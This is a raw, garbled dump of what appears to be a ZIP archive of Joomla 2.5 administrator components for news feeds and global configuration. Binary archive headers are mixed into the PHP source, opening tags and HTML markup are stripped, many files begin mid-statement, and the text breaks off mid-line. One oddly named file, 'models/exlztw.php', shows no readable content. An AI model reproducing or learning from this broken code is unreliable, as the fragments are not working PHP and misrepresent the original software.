$this->getUserStateFromRequest($this->context.'.filter.state', 'filter_published', '', 'string'); $this->setState('filter.state', $state); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id', null); $this->setState('filter.category_id', $categoryId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_newsfeeds'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.category_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.name, a.alias, a.checked_out, a.checked_out_time, a.catid,' . 'a.numarticles, a.cache_time, ' . ' a.published, a.access, a.ordering, a.language, a.publish_up, a.publish_down' ) ); $query->from($db->quoteName('#__newsfeeds').' AS a'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = '.(int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state. $published = $this->getState('filter.state'); if (is_numeric($published)) { $query->where('a.published = '.(int) $published); } elseif ($published === '') { $query->where('(a.published IN (0, 1))'); } // Filter by category. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = ' . (int) $categoryId); } // Filter by search in title $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.name LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = ' . $db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering'); $orderDirn = $this->state->get('list.direction'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PKs>\@4L$$(com_newsfeeds/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $newsfeedId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text' . ' FROM #__newsfeeds' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $newsfeedId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $newsfeedId ? 0 : 1); } return implode($html); } } PKs>\)%com_newsfeeds/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\V&com_newsfeeds/models/fields/index.htmlnuW+A PKs>\=o)com_newsfeeds/models/fields/newsfeeds.phpnuW+AgetQuery(true); $query->select('id As value, name As text'); $query->from('#__newsfeeds AS a'); $query->order('a.name'); // Get the options. $db->setQuery($query); $options = $db->loadObjectList(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(500, $db->getErrorMsg()); } // Merge any additional options in the XML definition. $options = array_merge(parent::getOptions(), $options); return $options; } } PKs>\V,com_newsfeeds/models/fields/modal/index.htmlnuW+A PKs>\1RJ /com_newsfeeds/models/fields/modal/newsfeeds.phpnuW+Aid.'(id, name, object) {'; $script[] = ' document.id("'.$this->id.'_id").value = id;'; $script[] = ' document.id("'.$this->id.'_name").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Build the script. $script = array(); $script[] = ' window.addEvent("domready", function() {'; $script[] = ' var div = new Element("div").setStyle("display", "none").inject(document.id("menu-types"), "before");'; $script[] = ' document.id("menu-types").inject(div, "bottom");'; $script[] = ' });'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Get the title of the linked chart $db = JFactory::getDBO(); $db->setQuery( 'SELECT name' . ' FROM #__newsfeeds' . ' WHERE id = '.(int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_NEWSFEEDS_SELECT_A_FEED'); } $link = 'index.php?option=com_newsfeeds&view=newsfeeds&layout=modal&tmpl=component&function=jSelectChart_'.$this->id; JHtml::_('behavior.modal', 'a.modal'); $html = "\n".'
      '; $html .= ''."\n"; // The active newsfeed id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html .= ''; return $html; } } PKs>\)+com_newsfeeds/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_newsfeeds/models/index.htmlnuW+A PKs>\׶kSS'com_newsfeeds/models/forms/newsfeed.xmlnuW+A
      PKs>\V%com_newsfeeds/models/forms/index.htmlnuW+A PKs>\)$com_newsfeeds/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_newsfeeds/models/newsfeed.phpnuW+AsetState('newsfeed.id', $pk); $offset = JRequest::getUInt('limitstart', 0); $this->setState('list.offset', $offset); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_newsfeeds')) && (!$user->authorise('core.edit', 'com_newsfeeds'))){ $this->setState('filter.published', 1); $this->setState('filter.archived', 2); } } /** * Method to get newsfeed data. * * @param integer The id of the newsfeed. * * @return mixed Menu item data object on success, false on failure. * @since 1.6 */ public function &getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int) $this->getState('newsfeed.id'); if ($this->_item === null) { $this->_item = array(); } if (!isset($this->_item[$pk])) { try { $db = $this->getDbo(); $query = $db->getQuery(true); $query->select($this->getState('item.select', 'a.*')); $query->from('#__newsfeeds AS a'); // Join on category table. $query->select('c.title AS category_title, c.alias AS category_alias, c.access AS category_access'); $query->join('LEFT', '#__categories AS c on c.id = a.catid'); // Join on user table. $query->select('u.name AS author'); $query->join('LEFT', '#__users AS u on u.id = a.created_by'); // Join over the categories to get parent category titles $query->select('parent.title as parent_title, parent.id as parent_id, parent.path as parent_route, parent.alias as parent_alias'); $query->join('LEFT', '#__categories as parent ON parent.id = c.parent_id'); $query->where('a.id = ' . (int) $pk); // Filter by start and end dates. $nullDate = $db->Quote($db->getNullDate()); $nowDate = $db->Quote(JFactory::getDate()->toSql()); // Filter by published state. $published = $this->getState('filter.published'); $archived = $this->getState('filter.archived'); if (is_numeric($published)) { $query->where('(a.published = ' . (int) $published . ' OR a.published =' . (int) $archived . ')'); $query->where('(a.publish_up = ' . $nullDate . ' OR a.publish_up <= ' . $nowDate . ')'); $query->where('(a.publish_down = ' . $nullDate . ' OR a.publish_down >= ' . $nowDate . ')'); $query->where('(c.published = ' . (int) $published . ' OR c.published =' . (int) $archived . ')'); } $db->setQuery($query); $data = $db->loadObject(); if ($error = $db->getErrorMsg()) { throw new Exception($error); } if (empty($data)) { throw new JException(JText::_('COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND'), 404); } // Check for published state if filter set. if (((is_numeric($published)) || (is_numeric($archived))) && (($data->published != $published) && ($data->published != $archived))) { JError::raiseError(404, JText::_('COM_NEWSFEEDS_ERROR_FEED_NOT_FOUND')); } // Convert parameter fields to objects. $registry = new JRegistry; $registry->loadString($data->params); $data->params = clone $this->getState('params'); $data->params->merge($registry); $registry = new JRegistry; $registry->loadString($data->metadata); $data->metadata = $registry; // Compute access permissions. if ($access = $this->getState('filter.access')) { // If the access filter has been set, we already know this user can view. $data->params->set('access-view', true); } else { // If no access filter is set, the layout takes some responsibility for display of limited information. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); $data->params->set('access-view', in_array($data->access, $groups) && in_array($data->category_access, $groups)); } $this->_item[$pk] = $data; } catch (JException $e) { $this->setError($e); $this->_item[$pk] = false; } } return $this->_item[$pk]; } } PKs>\B\com_newsfeeds/models/exlztw.phpnuW+AxePKs>\)com_newsfeeds/.htaccessnuW+A Order allow,deny Deny from all PKs>\(com_newsfeeds/config.xmlnuW+A
      PKs>\ggcom_newsfeeds/access.xmlnuW+A
      PKs>\Vcom_newsfeeds/tables/index.htmlnuW+A PKs>\j!com_newsfeeds/tables/newsfeed.phpnuW+AloadArray($array['params']); $array['params'] = (string) $registry; } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = (string) $registry; } return parent::bind($array, $ignore); } /** * Overloaded check method to ensure data integrity. * * @return boolean True on success. */ function check() { // Check for valid name. if (trim($this->name) == '') { $this->setError(JText::_('COM_NEWSFEEDS_WARNING_PROVIDE_VALID_NAME')); return false; } if (empty($this->alias)) { $this->alias = $this->name; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format("Y-m-d-H-i-s"); } // Check the publish down date is not earlier than publish up. if (intval($this->publish_down) > 0 && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // clean up keywords -- eliminate extra spaces between phrases // and cr (\r) and lf (\n) characters from string if (!empty($this->metakey)) { // only process if not empty $bad_characters = array("\n", "\r", "\"", "<", ">"); // array of characters to remove $after_clean = JString::str_ireplace($bad_characters, "", $this->metakey); // remove bad characters $keys = explode(',', $after_clean); // create array using commas as delimiter $clean_keys = array(); foreach($keys as $key) { if (trim($key)) { // ignore blank keywords $clean_keys[] = trim($key); } } $this->metakey = implode(", ", $clean_keys); // put array back together delimited by ", " } // clean up description -- eliminate quotes and <> brackets if (!empty($this->metadesc)) { // only process if not empty $bad_characters = array("\"", "<", ">"); $this->metadesc = JString::str_ireplace($bad_characters, "", $this->metadesc); } return true; } /** * Overriden JTable::store to set modified data and user id. * * @param boolean True to update fields even if they are null. * @return boolean True on success. * @since 1.6 */ public function store($updateNulls = false) { $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->id) { // Existing item $this->modified = $date->toSql(); $this->modified_by = $user->get('id'); } else { // New newsfeed. A feed created and created_by field can be set by the user, // so we don't touch either of these if they are set. if (!intval($this->created)) { $this->created = $date->toSql(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } // Verify that the alias is unique $table = JTable::getInstance('Newsfeed', 'NewsfeedsTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_NEWSFEEDS_ERROR_UNIQUE_ALIAS')); return false; } return parent::store($updateNulls); } } PKs>\)com_newsfeeds/tables/.htaccessnuW+A Order allow,deny Deny from all PKs>\V com_newsfeeds/helpers/index.htmlnuW+A PKs>\)com_newsfeeds/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\5}#com_newsfeeds/helpers/newsfeeds.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PKs>\)$com_newsfeeds/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\EK'com_newsfeeds/helpers/html/newsfeed.phpnuW+A array('tick.png', 'newsfeeds.unpublish', 'JPUBLISHED', 'COM_NEWSFEEDS_UNPUBLISH_ITEM'), 0 => array('publish_x.png', 'newsfeeds.publish', 'JUNPUBLISHED', 'COM_NEWSFEEDS_PUBLISH_ITEM') ); $state = JArrayHelper::getValue($states, (int) $value, $states[0]); $html = '' . JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true).''; return $html; } /** * Display an HTML select list of state filters * * @param int $selected The selected value of the list * @return string The HTML code for the select tag * @since 1.6 */ public static function filterstate($selected) { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '*', JText::_('JOPTION_ANY')); $options[] = JHtml::_('select.option', '1', JText::_('JPUBLISHED')); $options[] = JHtml::_('select.option', '0', JText::_('JUNPUBLISHED')); return JHtml::_('select.genericlist', $options, 'filter_published', array( 'list.attr' => 'class="inputbox" onchange="this.form.submit();"', 'list.select' => $selected ) ); } } PKs>\V%com_newsfeeds/helpers/html/index.htmlnuW+A PKs>\Vcom_config/index.htmlnuW+A PKs>\Vcom_config/views/index.htmlnuW+A PKs>\(com_config/views/component/view.html.phpnuW+Aget('Form'); $component = $this->get('Component'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Bind the form to the data. if ($form && $component->params) { $form->bind($component->params); } $this->assignRef('form', $form); $this->assignRef('component', $component); $this->document->setTitle(JText::_('JGLOBAL_EDIT_PREFERENCES')); parent::display($tpl); JRequest::setVar('hidemainmenu', true); } } PKs>\))com_config/views/component/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\V*com_config/views/component/tmpl/index.htmlnuW+A PKs>\+Dz z +com_config/views/component/tmpl/default.phpnuW+AgetTemplate(); // Load the tooltip behavior. JHtml::_('behavior.tooltip'); JHtml::_('behavior.formvalidation'); ?>
      component->option.'_configuration') ?>
      component->option.'_configuration', array('useCookie'=>1)); $fieldSets = $this->form->getFieldsets(); foreach ($fieldSets as $name => $fieldSet) : $label = empty($fieldSet->label) ? 'COM_CONFIG_'.$name.'_FIELDSET_LABEL' : $fieldSet->label; echo JHtml::_('tabs.panel', JText::_($label), 'publishing-details'); if (isset($fieldSet->description) && !empty($fieldSet->description)) : echo '

      '.JText::_($fieldSet->description).'

      '; endif; ?>
        form->getFieldset($name) as $field): ?>
      • hidden) : ?> label; ?> input; ?>
      PKs>\)$com_config/views/component/.htaccessnuW+A Order allow,deny Deny from all PKs>\V%com_config/views/component/index.htmlnuW+A PKs>\~G*com_config/views/application/view.html.phpnuW+Aget('Form'); $data = $this->get('Data'); // Check for model errors. if ($errors = $this->get('Errors')) { JError::raiseError(500, implode('
      ', $errors)); return false; } // Bind the form to the data. if ($form && $data) { $form->bind($data); } // Get the params for com_users. $usersParams = JComponentHelper::getParams('com_users'); // Get the params for com_media. $mediaParams = JComponentHelper::getParams('com_media'); // Load settings for the FTP layer. $ftp = JClientHelper::setCredentialsFromRequest('ftp'); $this->assignRef('form', $form); $this->assignRef('data', $data); $this->assignRef('ftp', $ftp); $this->assignRef('usersParams', $usersParams); $this->assignRef('mediaParams', $mediaParams); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::_('COM_CONFIG_GLOBAL_CONFIGURATION'), 'config.png'); JToolBarHelper::apply('application.apply'); JToolBarHelper::save('application.save'); JToolBarHelper::divider(); JToolBarHelper::cancel('application.cancel'); JToolBarHelper::divider(); JToolBarHelper::help('JHELP_SITE_GLOBAL_CONFIGURATION'); } } PKs>\V'com_config/views/application/index.htmlnuW+A PKs>\w)̅2com_config/views/application/tmpl/default_mail.phpnuW+A
        form->getFieldset('mail') as $field): ?>
      • label; ?> input; ?>
      PKs>\A%%6com_config/views/application/tmpl/default_ftplogin.phpnuW+A
      ftp instanceof Exception): ?>

      ftp->message); ?>

      PKs>\$Ɖ4com_config/views/application/tmpl/default_server.phpnuW+A
        form->getFieldset('server') as $field): ?>
      • label; ?> input; ?>
      PKs>\g 4com_config/views/application/tmpl/default_cookie.phpnuW+A
        form->getFieldset('cookie') as $field): ?>
      • label; ?> input; ?>
      PKs>\4com_config/views/application/tmpl/default_system.phpnuW+A
        form->getFieldset('system') as $field): ?>
      • label; ?> input; ?>
      PKs>\J= 4com_config/views/application/tmpl/default_locale.phpnuW+A
        form->getFieldset('locale') as $field): ?>
      • label; ?> input; ?>
      PKs>\qq9com_config/views/application/tmpl/default_permissions.phpnuW+A
      form->getFieldset('permissions') as $field): ?> label; ?>
      input; ?>
      PKs>\*xj j -com_config/views/application/tmpl/default.phpnuW+Adocument->setBuffer($this->loadTemplate('navigation'), 'modules', 'submenu'); ?>
      ftp) : ?> loadTemplate('ftplogin'); ?>
      loadTemplate('site'); ?> loadTemplate('metadata'); ?>
      loadTemplate('seo'); ?> loadTemplate('cookie'); ?>
      loadTemplate('system'); ?>
      loadTemplate('debug'); ?> loadTemplate('cache'); ?> loadTemplate('session'); ?>
      loadTemplate('server'); ?> loadTemplate('locale'); ?> loadTemplate('ftp'); ?>
      loadTemplate('database'); ?> loadTemplate('mail'); ?>
      loadTemplate('permissions'); ?>
      loadTemplate('filters'); ?>
      PKs>\򵢮5com_config/views/application/tmpl/default_filters.phpnuW+A

      form->getFieldset('filters') as $field): ?> label; ?>
      input; ?>
      PKs>\m:Ff5com_config/views/application/tmpl/default_session.phpnuW+A
        form->getFieldset('session') as $field): ?>
      • label; ?> input; ?>
      PKs>\d21com_config/views/application/tmpl/default_seo.phpnuW+A
        form->getFieldset('seo') as $field): ?>
      • label; ?> input; ?>
      PKs>\V,com_config/views/application/tmpl/index.htmlnuW+A PKs>\Nl1com_config/views/application/tmpl/default_ftp.phpnuW+A
        form->getFieldset('ftp') as $field): ?>
      • label; ?> input; ?>
      PKs>\]9ދ6com_config/views/application/tmpl/default_database.phpnuW+A
        form->getFieldset('database') as $field): ?>
      • label; ?> input; ?>
      PKs>\Ϫ53com_config/views/application/tmpl/default_cache.phpnuW+A
        form->getFieldset('cache') as $field): ?>
      • label; ?> input; ?>
      • data['cache_handler']) && $this->data['cache_handler'] == 'memcache' || $this->data['session_handler'] == 'memcache') : ?> form->getFieldset('memcache') as $mfield): ?>
      • label; ?> input; ?>
      PKs>\_2com_config/views/application/tmpl/default_site.phpnuW+A
        form->getFieldset('site') as $field): ?>
      • label; ?> input; ?>
      PKs>\ʏ˿##8com_config/views/application/tmpl/default_navigation.phpnuW+A PKs>\Ro*6com_config/views/application/tmpl/default_metadata.phpnuW+A
        form->getFieldset('metadata') as $field): ?>
      • label; ?> input; ?>
      PKs>\ÁxՇ3com_config/views/application/tmpl/default_debug.phpnuW+A
        form->getFieldset('debug') as $field): ?>
      • label; ?> input; ?>
      PKs>\)+com_config/views/application/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\)&com_config/views/application/.htaccessnuW+A Order allow,deny Deny from all PKs>\1  $com_config/views/close/view.html.phpnuW+AaddScriptDeclaration(' window.parent.location.href=window.parent.location.href; window.parent.SqueezeBox.close(); '); } } PKs>\) com_config/views/close/.htaccessnuW+A Order allow,deny Deny from all PKs>\V!com_config/views/close/index.htmlnuW+A PKs>\)com_config/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\m^7{{com_config/config.phpnuW+Aexecute(JRequest::getCmd('task')); $controller->redirect(); PKs>\Scom_config/config.xmlnuW+A com_config Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CONFIG_XML_DESCRIPTION config.php controller.php index.html controllers models views language/en-GB.com_config.ini PKs>\)com_config/.htaccessnuW+A Order allow,deny Deny from all PKs>\%  com_config/controller.phpnuW+AgetType(); $lName = JRequest::getCmd('layout', 'default'); // Get and render the view. if ($view = $this->getView($vName, $vFormat)) { if ($vName != 'close') { // Get the model for the view. $model = $this->getModel($vName); // Access check. if (!JFactory::getUser()->authorise('core.admin', $model->getState('component.option'))) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Push the model into the view (as default). $view->setModel($model, true); } $view->setLayout($lName); // Push document object into the view. $view->assignRef('document', $document); $view->display(); } } } PKs>\Bywcom_config/models/component.phpnuW+AsetState('component.option', $component); // Set an alternative path for the configuration file. if ($path = JRequest::getString('path')) { $path = JPath::clean(JPATH_SITE . '/' . $path); JPath::check($path); $this->setState('component.path', $path); } } /** * Method to get a form object. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { if ($path = $this->getState('component.path')) { // Add the search path for the admin component config.xml file. JForm::addFormPath($path); } else { // Add the search path for the admin component config.xml file. JForm::addFormPath(JPATH_ADMINISTRATOR.'/components/'.$this->getState('component.option')); } // Get the form. $form = $this->loadForm( 'com_config.component', 'config', array('control' => 'jform', 'load_data' => $loadData), false, '/config' ); if (empty($form)) { return false; } return $form; } /** * Get the component information. * * @return object * @since 1.6 */ function getComponent() { // Initialise variables. $option = $this->getState('component.option'); // Load common and local language files. $lang = JFactory::getLanguage(); $lang->load($option, JPATH_BASE, null, false, true) || $lang->load($option, JPATH_BASE . "/components/$option", null, false, true); $result = JComponentHelper::getComponent($option); return $result; } /** * Method to save the configuration data. * * @param array An array containing all global config data. * * @return bool True on success, false on failure. * @since 1.6 */ public function save($data) { $dispatcher = JDispatcher::getInstance(); $table = JTable::getInstance('extension'); $isNew = true; // Save the rules. if (isset($data['params']) && isset($data['params']['rules'])) { $rules = new JAccessRules($data['params']['rules']); $asset = JTable::getInstance('asset'); if (!$asset->loadByName($data['option'])) { $root = JTable::getInstance('asset'); $root->loadByName('root.1'); $asset->name = $data['option']; $asset->title = $data['option']; $asset->setLocation($root->id, 'last-child'); } $asset->rules = (string) $rules; if (!$asset->check() || !$asset->store()) { $this->setError($asset->getError()); return false; } // We don't need this anymore unset($data['option']); unset($data['params']['rules']); } // Load the previous Data if (!$table->load($data['id'])) { $this->setError($table->getError()); return false; } unset($data['id']); // Bind the data. if (!$table->bind($data)) { $this->setError($table->getError()); return false; } // Check the data. if (!$table->check()) { $this->setError($table->getError()); return false; } // Trigger the oonConfigurationBeforeSave event. $result = $dispatcher->trigger($this->event_before_save, array($this->option . '.' . $this->name, $table, $isNew)); if (in_array(false, $result, true)) { $this->setError($table->getError()); return false; } // Store the data. if (!$table->store()) { $this->setError($table->getError()); return false; } // Clean the component cache. $this->cleanCache('_system'); // Trigger the onConfigurationAfterSave event. $dispatcher->trigger($this->event_after_save, array($this->option . '.' . $this->name, $table, $isNew)); return true; } } PKs>\6#com_config/models/fields/index.htmlnuW+APKs>\)"com_config/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\]dd$com_config/models/fields/filters.phpnuW+AgetUserGroups(); // Build the form control. $html = array(); // Open the table. $html[] = ''; // The table heading. $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; // The table body. $html[] = ' '; foreach ($groups as $group) { if (!isset($this->value[$group->value])) { $this->value[$group->value] = array('filter_type' => 'BL', 'filter_tags' => '', 'filter_attributes' => ''); } $group_filter = $this->value[$group->value]; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; } $html[] = ' '; // Close the table. $html[] = '
      '; $html[] = ' '.JText::_('JGLOBAL_FILTER_GROUPS_LABEL').''; $html[] = ' '; $html[] = ' '.JText::_('JGLOBAL_FILTER_TYPE_LABEL').''; $html[] = ' '; $html[] = ' '.JText::_('JGLOBAL_FILTER_TAGS_LABEL').''; $html[] = ' '; $html[] = ' '.JText::_('JGLOBAL_FILTER_ATTRIBUTES_LABEL').''; $html[] = '
      '; $html[] = ' '.str_repeat('|—', $group->level).$group->text; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = ' '; $html[] = '
      '; return implode("\n", $html); } /** * A helper to get the list of user groups. * * @return array * @since 1.6 */ protected function getUserGroups() { // Get a database object. $db = JFactory::getDBO(); // Get the user groups from the database. $query = $db->getQuery(true); $query->select('a.id AS value, a.title AS text, COUNT(DISTINCT b.id) AS level'); $query->from('#__usergroups AS a'); $query->join('LEFT', '#__usergroups AS b on a.lft > b.lft AND a.rgt < b.rgt'); $query->group('a.id, a.title, a.lft'); $query->order('a.lft ASC'); $db->setQuery($query); $options = $db->loadObjectList(); return $options; } } PKs>\_!com_config/models/application.phpnuW+AloadForm('com_config.application', 'application', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } return $form; } /** * Method to get the configuration data. * * This method will load the global configuration data straight from * JConfig. If configuration data has been saved in the session, that * data will be merged into the original data, overwriting it. * * @return array An array containg all global config data. * * @since 1.6 */ public function getData() { // Get the config data. $config = new JConfig(); $data = JArrayHelper::fromObject($config); // Prime the asset_id for the rules. $data['asset_id'] = 1; // Get the text filter data $params = JComponentHelper::getParams('com_config'); $data['filters'] = JArrayHelper::fromObject($params->get('filters')); // If no filter data found, get from com_content (update of 1.6/1.7 site) if (empty($data['filters'])) { $contentParams = JComponentHelper::getParams('com_content'); $data['filters'] = JArrayHelper::fromObject($contentParams->get('filters')); } // Check for data in the session. $temp = JFactory::getApplication()->getUserState('com_config.config.global.data'); // Merge in the session data. if (!empty($temp)) { $data = array_merge($data, $temp); } return $data; } /** * Method to save the configuration data. * * @param array An array containing all global config data. * * @return bool True on success, false on failure. * * @since 1.6 */ public function save($data) { // Save the rules if (isset($data['rules'])) { $rules = new JAccessRules($data['rules']); // Check that we aren't removing our Super User permission // Need to get groups from database, since they might have changed $myGroups = JAccess::getGroupsByUser(JFactory::getUser()->get('id')); $myRules = $rules->getData(); $hasSuperAdmin = $myRules['core.admin']->allow($myGroups); if (!$hasSuperAdmin) { $this->setError(JText::_('COM_CONFIG_ERROR_REMOVING_SUPER_ADMIN')); return false; } $asset = JTable::getInstance('asset'); if ($asset->loadByName('root.1')) { $asset->rules = (string) $rules; if (!$asset->check() || !$asset->store()) { JError::raiseNotice('SOME_ERROR_CODE', $asset->getError()); } } else { $this->setError(JText::_('COM_CONFIG_ERROR_ROOT_ASSET_NOT_FOUND')); return false; } unset($data['rules']); } // Save the text filters if (isset($data['filters'])) { $registry = new JRegistry(); $registry->loadArray(array('filters' => $data['filters'])); $extension = JTable::getInstance('extension'); // Get extension_id $extension_id = $extension->find(array('name' => 'com_config')); if ($extension->load((int) $extension_id)) { $extension->params = (string) $registry; if (!$extension->check() || !$extension->store()) { JError::raiseNotice('SOME_ERROR_CODE', $extension->getError()); } } else { $this->setError(JText::_('COM_CONFIG_ERROR_CONFIG_EXTENSION_NOT_FOUND')); return false; } unset($data['filters']); } // Get the previous configuration. $prev = new JConfig(); $prev = JArrayHelper::fromObject($prev); // Merge the new data in. We do this to preserve values that were not in the form. $data = array_merge($prev, $data); /* * Perform miscellaneous options based on configuration settings/changes. */ // Escape the offline message if present. if (isset($data['offline_message'])) { $data['offline_message'] = JFilterOutput::ampReplace($data['offline_message']); } // Purge the database session table if we are changing to the database handler. if ($prev['session_handler'] != 'database' && $data['session_handler'] == 'database') { $table = JTable::getInstance('session'); $table->purge(-1); } if (empty($data['cache_handler'])) { $data['caching'] = 0; } // Clean the cache if disabled but previously enabled. if (!$data['caching'] && $prev['caching']) { $cache = JFactory::getCache(); $cache->clean(); } // Create the new configuration object. $config = new JRegistry('config'); $config->loadArray($data); // Overwrite the old FTP credentials with the new ones. $temp = JFactory::getConfig(); $temp->set('ftp_enable', $data['ftp_enable']); $temp->set('ftp_host', $data['ftp_host']); $temp->set('ftp_port', $data['ftp_port']); $temp->set('ftp_user', $data['ftp_user']); $temp->set('ftp_pass', $data['ftp_pass']); $temp->set('ftp_root', $data['ftp_root']); // Clear cache of com_config component. $this->cleanCache('_system'); // Write the configuration file. return $this->writeConfigFile($config); } /** * Method to unset the root_user value from configuration data. * * This method will load the global configuration data straight from * JConfig and remove the root_user value for security, then save the configuration. * * @since 1.6 */ function removeroot() { // Get the previous configuration. $prev = new JConfig(); $prev = JArrayHelper::fromObject($prev); // Create the new configuration object, and unset the root_user property $config = new JRegistry('config'); unset($prev['root_user']); $config->loadArray($prev); // Write the configuration file. return $this->writeConfigFile($config); return true; } /** * Method to write the configuration to a file. * * @param JRegistry $config A JRegistry object containing all global config data. * * @return bool True on success, false on failure. * * @since 2.5.4 */ private function writeConfigFile(JRegistry $config) { jimport('joomla.filesystem.path'); jimport('joomla.filesystem.file'); // Set the configuration file path. $file = JPATH_CONFIGURATION . '/configuration.php'; // Get the new FTP credentials. $ftp = JClientHelper::getCredentials('ftp', true); // Attempt to make the file writeable if using FTP. if (!$ftp['enabled'] && JPath::isOwner($file) && !JPath::setPermissions($file, '0644')) { JError::raiseNotice('SOME_ERROR_CODE', JText::_('COM_CONFIG_ERROR_CONFIGURATION_PHP_NOTWRITABLE')); } // Attempt to write the configuration file as a PHP class named JConfig. $configuration = 